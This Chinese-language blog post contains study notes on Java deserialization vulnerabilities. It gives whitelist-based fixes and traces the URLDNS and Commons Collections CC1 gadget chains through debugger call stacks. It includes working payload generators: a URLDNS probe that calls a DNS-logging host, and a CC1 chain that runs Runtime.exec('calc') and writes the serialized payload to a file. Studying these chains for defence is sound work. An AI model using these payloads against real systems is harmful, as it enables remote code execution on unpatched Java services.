目前而言,想拿权限,大部分都依赖命令注入或者反序列化漏洞的利用,下文是作者调试Java反序列化常见利用链的随手记录,个人理解调试Java反序列化链可以自上而下的理解漏洞的利用过程。
环境清单
JDK 1.8.0_65
Apache commons collections 3.2.1
IDEA 2025.2.3
序列化&反序列化 定义一个User实体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package top.lrui1.pojo; import java.io.Serializable; public class User implements Serializable { private static final long serialVersionUID = 1L ; private Long id; private String username; private String password; private String description; public User () { System.out.println("调用无参构造" ); } public User (Long id, String username, String password, String description) { this .id = id; this .username = username; this .password = password; this .description = description; System.out.println("调用有参构造" ); } public String getUsername () { System.out.println("调用get" ); return username; } public void setUsername (String username) { System.out.println("调用set" ); this .username = username; } public Long getId () { return id; } public void setId (Long id) { this .id = id; } public String getPassword () { return password; } public void setPassword (String password) { this .password = password; } public String getDescription () { return description; } public void setDescription (String description) { this .description = description; } @Override public String toString () { return "User{" + "id=" + id + ", username='" + username + '\'' + ", password='" + password + '\'' + ", description='" + description + '\'' + '}' ; } }
序列化与反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package top.lrui1;import org.junit.Test;import top.lrui1.pojo.User;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;public class FirstCode { @Test public void ser () throws IOException { User user = new User (); user.setId(1L ); user.setUsername("test" ); user.setPassword("test" ); user.setDescription("This is test" ); String outfile = "firstCode.bin" ; ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get(outfile))); oos.writeObject(user); oos.close(); System.out.println("ser success!" ); } @Test public void unser () throws IOException, ClassNotFoundException { String outfile = "firstCode.bin" ; ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(outfile))); Object o = ois.readObject(); ois.close(); User user = (User) o; System.out.println(user); } }
个人理解:序列化就是将Java对象变成一个二进制序列,方便存储,传输;反序列化就是将二进制序列还原成Java对象(利用反射填属性值 ),随后让程序执行其他相关逻辑
反序列化漏洞 漏洞代码 对于以下代码
1 2 3 4 5 6 7 8 9 @Test public void unser () throws IOException, ClassNotFoundException { String outfile = "firstCode.bin" ; ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(outfile))); Object o = ois.readObject(); ois.close(); User user = (User) o; System.out.println(user); }
如果ObjectInputStream所打开的数据流是不可信的(文件流或其他流可被用户控制),就存在反序列化漏洞。
原因分析 可以参考 https://su18.org/post/ysoserial-su18-1/#三-反序列化漏洞
总结一句话:反序列化过程中,如果目标类重写了readObject方法,则会调用相应的重写逻辑;通过控制相关逻辑可以用来利用反序列化漏洞
修复方案 修复代码如下
方法一:使用 JDK 9+ 的 JEP 290 (ObjectInputFilter)
JDK 9 或更高版本(或者在 JDK 8 的高版本更新中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Test public void safeUnSer () throws Exception { String outFile="urldns.bin" ; ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(outFile))); ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "top.lrui1.pojo.User;java.lang.*;!*" ); ois.setObjectInputFilter(filter); Object o = ois.readObject(); if (o instanceof User) { User user = (User) o; System.out.println(user); } }
在使用白名单时,不仅要放行 User 类本身 ,还需要放行 User 类中所有成员变量的类型(例如 User 里有个 String name,你就必须允许 java.lang.String)。如果漏掉了成员变量的类型,反序列化会报错失败。
方法二:自定义ObjectInputStream、重写resolveClass、白名单校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 @Test public void safeUnSer2 () throws Exception { class SecureObjectInputStream extends ObjectInputStream { private final Set<String> WHITELIST = new HashSet <>(Arrays.asList( "top.lrui1.pojo.User" , "java.lang.String" , "java.lang.Integer" , "java.lang.Long" , "java.lang.Number" )); public SecureObjectInputStream (InputStream in) throws IOException { super (in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!WHITELIST.contains(desc.getName())) { throw new InvalidClassException ("不在白名单,Unauthorized deserialization attempt" , desc.getName()); } return super .resolveClass(desc); } } String outFile="firstCode.bin" ; ObjectInputStream ois = new SecureObjectInputStream (Files.newInputStream(Paths.get(outFile))); Object o = ois.readObject(); if (o instanceof User) { User user = (User) o; System.out.println(user); } }
方法三:使用Apache Commons IO
1 2 3 4 5 6 7 8 9 10 11 12 @Test public void safeUnSer3 () throws Exception { String outfile = "urldns.bin" ; InputStream in = Files.newInputStream(Paths.get(outfile)); ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder() .accept(User.class, Number.class, Long.class) .setInputStream(in) .get(); User user = (User) vois.readObject(); vois.close(); System.out.println(user); }
将配置单独定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @Test public void safeUnSer3OtherCode () throws Exception { final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate () .accept(User.class, Number.class, Long.class); String outfile = "urldns.bin" ; InputStream in = Files.newInputStream(Paths.get(outfile)); ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder() .setPredicate(predicate) .setInputStream(in) .get(); User user = (User) vois.readObject(); vois.close(); System.out.println(user); }
通过阻止非预期的类进行反序列化,能解决大多数场景下的漏洞问题;但是白名单中的类本身存在一条可利用的反序列化链,那么漏洞还是存在
举个栗子,白名单中存在HashMap和URL
1 2 final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate () .accept(User.class, Number.class, Long.class,HashMap.class, URL.class,Integer.class);
攻击者可以利用URLDNS这个链来进行探测
在添加白名单的时候,要保证常见的利用链不包含在白名单中
总结 对于Java原生反序列化,漏洞产生的原因:用户直接反序列化不可信数据(未对数据作任何校验)
利用条件:
1、存在反序列化漏洞
2、有反序列化链可以被利用
下文探究一些Java常见的反序列化链,来学习漏洞的利用过程
URLDNS 自底向上理解
对于URL这个类,其equals和hashcode都存在解析主机名的行为,下面基于hashcode的调用进行分析
触发DNS解析(Sink Gadget) URL.hashCode 代码如下
当hashCode不为-1,直接返回;否则调用URLStreamHandler.hashCode方法获取值并返回
URLStreamHandler.hashCode关键代码如下
对传入的URL对象,先获取协议,h += 协议的hashcode;随后在353行调用getHostAddress解析主机名
URLStreamHandler.getHostAddress代码如下
InetAddress.getByName,获取主机名的IP地址
总结:只要URL对象的hashcode方法被调用,就会解析对象中存储的host地址
目前的调用链
1 2 3 URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()
调用覆写的readObject(kick-off gadget) HashMap.readObject关键代码如下
1361~1400,前面的代码对获取map的一些就基本信息后,1394获取key后,1397存入map时调用hash()获取key的Hash值
HashMap.hash代码如下
对传入的key为空,返回0;不为空调用Key的hashCode方法
所以对于HashMap,只要Key的类为java.net.URL,那么在反序列化的过程中就会调用java.net.URL.hashCode,触发过程3
总结:目前的调用链
1 2 3 4 5 HashMap.readObject() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()
反序列化漏洞(readObject调用处) top.lrui1.Unser.main代码如下
从命令行获取文件名,无白名单控制下,反序列化不可信数据
构造payload 构造一个Key为URL的HashMap,序列化出来即可
HashMap的put方法会调用putVal,其中putVal的第一个参数用了hash()方法对Key获取Hash值 在构造时可以先设置URL对象的hashcode值不为-1,存入map后在设置为-1,等待触发解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Test public void sec () throws Exception { HashMap<URL, Integer> map = new HashMap <>(); URL url = new URL ("http://0j02oed5.eyes.sh" ); Field f = URL.class.getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 1 ); map.put(url, 1 ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("urldns.bin" ))); oos.writeObject(map); }
ysoserial的视线代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Object getObject (final String url) throws Exception { HashMap ht = new HashMap (); URL u = new URL (null , url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode" , -1 ); return ht; } public static void main (final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } }
通过自定义一个URLStreamHandler的子类,重写getHostAddress方法,在使用hashmap.put方法存入值,HashMap.hash -> ···· -> SilentURLStreamHandler.getHostAddress,不触发解析,随后将URL.hashcode设置为-1,让反序列化时触发解析
总结 URLDNS链无JDK版本限制,可以方便的用来探测程序反序列化时是否有配置白名单
运行测试代码的调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:436 ) java.net.URLStreamHandler.hashCode(URLStreamHandler.java:353 ) java.net.URL.hashCode(URL.java:878 ) java.util.HashMap.hash(HashMap.java:338 ) java.util.HashMap.readObject(HashMap.java:1397 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
CC1 Apache Common Collections这个库存在可利用的反序列化链,相关类的了解学习可参考
https://su18.org/post/ysoserial-su18-2/#前置知识
相关类学习 transform代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
根据传入的input,获取其Class,调用方法;构造函数中可以设置iMethodName、iParamTypes
测试代码如下
1 2 3 4 5 @Test public void InvokeTransformerTest () { InvokerTransformer itf = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); itf.transform(Runtime.getRuntime()); }
transform代码如下
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
根据属性中的transform,循环调用;并将这次transform的返回值作为下一个transform的输入
测试代码如下
1 2 3 4 5 6 @Test public void ChainedTransformerTest () { InvokerTransformer itf = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); ChainedTransformer chtf = new ChainedTransformer (new Transformer []{itf}); chtf.transform(Runtime.getRuntime()); }
transform代码如下
1 2 3 public Object transform (Object input) { return iConstant; }
直接返回属性中的iConstant,其值可以通过构造函数设置
测试代码如下
1 2 3 4 5 6 7 @Test public void ConstantTransformerTest () { ConstantTransformer ctf = new ConstantTransformer (Runtime.getRuntime()); InvokerTransformer itf = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); ChainedTransformer chtf = new ChainedTransformer (new Transformer []{ctf,itf}); chtf.transform("随便输入" ); }
其实这个才是ChainedTransformer的测试代码吧
攻击链构造 根据以上测试代码,我们可以构造一个Transformer链,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Test public void testTransform () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); chainedTransformer.transform("随便输入" ); }
调用链如下
1 2 3 4 5 ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Serializable接口,他们可以被序列化
ChainedTransformer的readObject方法并没有调用其自身的transform方法,还要往上继续找链,在IDEA中,右键Transformer.transform方法,选择Find Usage,查找其他类调用Transformer.transform的情况
找到一个类:TransformedMap,有三个调用,分析其中一个调用,transformKey方法调用了自身属性keyTransformer.transform方法;对TransformedMap.transformKey右键Find Usage,发现两处调用,TransformedMap.transformMap、TransformedMap.put
作者这边分析的这个调用并不是CC1中的一个环节,可直接跳到后面分析setValue调用,那个才是CC1中的一个传递链
TransformedMap继承于AbstractInputCheckedMapDecorator这个抽象类,AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator,AbstractMapDecorator这个类实现了Map接口,所以TransformedMap.put这个方法可由Map.put进行调用,比较泛用,先从它入手
目前调用链的顶层是TransformedMap,可通过put方法触发我们构造的攻击链,测试代码如下
鸽一下关于TransformedMap的构造函数分析,我们要序列化类就要分析它要怎么创建,可以让AI干
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Test public void testTransform2 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashmap = new HashMap <String, String>(); hashmap.put("test" ,"test" ); hashmap.put("test2" ,"test" ); Map map = TransformedMap.decorate(hashmap, chainedTransformer, null ); map.put("test" ,"test123" ); }
TransformedMap.readObject主要是通过父类的readObject进行反序列化,具体代码如下
1 2 3 4 private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); map = (Map) in.readObject(); }
没有调用自身的put方法,也就没有调用transform,需要找其他类能触发TransformedMap.put方法的类,还要往上继续找链
根据之前对Transformer.transform,Find Usage的分析,除了transformKey、还有其他两个调用transformValue、checkSetValue;参考上述分析,可以总结出下方的利用链(CC1实际是利用到了setValue())
1 2 3 4 5 6 TransformedMap.put() or TransformedMap.putAll() or TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
实际是作者尝试往put找链失败了hh,补充一下setValue的找链过程吧
之前对Transformer.transform方法的Find Usage,发现TransformedMap.checkSetValue这个调用点,代码如下
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
继续对TransformedMap.setValue做Find Usage
有且只有一个调用点:AbstractInputCheckedMapDecorator.MapEntry.setValue,这个方法覆写了AbstractInputCheckedMapDecorator的父类AbstractMapEntryDecorator的setValue;因为AbstractMapEntryDecorator实现了Map接口,所以这个setValue也作为了Map接口里的实现方法
setValue方法描述java.util.Map.Entry#setValue
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @Test public void testTransform3 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashmap = new HashMap <String, String>(); hashmap.put("test" ,"test" ); hashmap.put("test2" ,"test" ); Map map = TransformedMap.decorate(hashmap, null , chainedTransformer); Set<Map.Entry<String, String>> set = map.entrySet(); for (Map.Entry<String, String> entry : set) { Map.Entry<String, String> tmp; entry.setValue("test123" ); } System.out.println(map); }
调用链如下
1 2 3 4 5 6 7 AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
AnnotationInvocationHandler 老样子,对setValue在IDEA中Find Usage,
readObject调用setValue,Holishift,找到入口类了
如果没查到,可以去Github下载一下源码(Oracle自带的有一些类没有),并在SDK哪里配置源码路径,下载地址 https://github.com/openjdk/jdk ,选择对应的tag直接下载zip即可,导入直接导zip就行,IDEA会自己扫
接下来就是分析这个类对象的创建和反序列化过程了,看什么条件下会触发这个setValue
类属性如下
1 2 3 4 private static final long serialVersionUID = 6182022883658399397L ;private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; private transient volatile Method[] memberMethods = null ;
猜测memberValues要存储我们前面的TransformedMap
readObject方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); Object var2 = null ; try { var10 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var10.memberTypes(); for (Map.Entry var5 : this .memberValues.entrySet()) { String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var10.members().get(var6))); } } }
上面那个是反编译的,这个是Github OpenJDK 源码的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
这里推荐参考这篇文章的思考思路,毕竟这个代码可读性对我这种小白而言可读性很糟糕,所以静态结合动态分析逻辑是个很好的方法 https://www.freebuf.com/articles/web/410767.html
简单分析其逻辑
1、s.defaultReadObject(); 利用反射从流中获取值写入属性
2、利用type的值,获取AnnotationType对象,即我们反序列化的type(注解的详细信息)
3、获取我们传入注解的成员信息,存到memberTypes
4、进入循环,遍历我们反序列化传入的memberValues(一个Map);
循环逻辑:获取memberValues的key,用这个key去存到memberTypes里查找值,赋值给memberType,如果该值存在,执行 IF 逻辑1
if逻辑1:获取memberValues的Value赋值给value,如果memberType和value之间不可赋值 或者 value是ExceptionProxy的示例,执行memberValue.setValue,触发攻击链
isInstance()方法等效于 instance of运算符
所以我们要执行memberValue.setValue并触发攻击链,有以下条件
反序列化传入的memberValues为前面的 TransformedMap
反序列化传入的type 需要有属性——传入的接口需要有属性
type属性字段名需要有一个在TransformedMap的Key中
条件3 TransformedMap Key对应的value不能赋值给type属性字段
假设传入的type为Target,其有一个属性ElementType[] value();,我们可以定义TransformedMap<String, String>,并put一个"value":"随便输入"即可(String和ElementType[]一个数组,一个普通类型,不能赋值)
接下来就是构造AnnotationInvocationHandler这个对象,其构造方法如下
1 2 3 4 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { this .type = type; this .memberValues = memberValues; }
直接进行赋值,由于是默认权限,包级私有,需要利用反射,在进行调用
构造的测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 @Test public void testCC1 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> map = new HashMap <String, String>(); map.put("value" ,"test" ); map.put("test2" ,"test2" ); Map transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object payload = constructor.newInstance(Target.class, transformedMap); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC1.bin" )); ous.writeObject(payload); System.out.println("ser successfully!" ); } public static void main (String[] args) throws Exception { Scanner sc = new Scanner (System.in); String s = sc.nextLine(); ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(s))); Object o = ois.readObject(); ois.close(); System.out.println("unser successfully" ); User user = (User) o; System.out.println(user); sc.close(); }
总结 调用链如下
1 2 3 4 5 6 7 8 AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204 ) org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:192 ) sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
写在最后 关于CC1还有一个利用LazyMap的利用链,就留在下一篇文章再来调试吧(菜狗搞这篇文章已经搞了2天半,大概17h了)
参考链接 https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/serialization/ValidatingObjectInputStream.html
https://su18.org/post/ysuserial/
https://www.freebuf.com/articles/web/410767.html